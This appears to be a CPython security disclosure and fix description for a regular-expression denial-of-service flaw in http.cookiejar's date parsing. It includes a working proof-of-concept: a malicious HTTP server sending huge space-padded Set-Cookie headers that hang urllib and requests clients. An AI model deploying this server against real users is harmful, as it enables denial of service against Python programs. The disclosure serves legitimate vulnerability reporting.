The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).
LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.

The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to

    \d+-\w+-\d+(\s*\s*\s*)$

Therefore, a long sequence of spaces can trigger bad performance.

Matching a malicious string such as

    LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")

caused catastrophic backtracking.

The fix removes ambiguity about which \s* should match a particular
space.

You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.

    from http.server import BaseHTTPRequestHandler, HTTPServer

    def make_set_cookie_value(n_spaces):
        spaces = " " * n_spaces
        expiry = f"1-c-1{spaces}!"
        return f"b;Expires={expiry}"

    class Handler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.log_request(204)
            self.send_response_only(204)  # Don't bother sending Server and Date
            n_spaces = (
                int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences
                if len(self.path) > 1 else
                65506  # Max header line length 65536
            )
            value = make_set_cookie_value(n_spaces)
            for i in range(99):  # Not necessary, but we can have up to 100 header lines
                self.send_header("Set-Cookie", value)
            self.end_headers()

    if __name__ == "__main__":
        HTTPServer(("", 44020), Handler).serve_forever()

This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.

Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :

    import http.cookiejar, urllib.request
    cj = http.cookiejar.CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
    r = opener.open("http://localhost:44020/")

The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):

    import requests
    requests.get("http://localhost:44020/")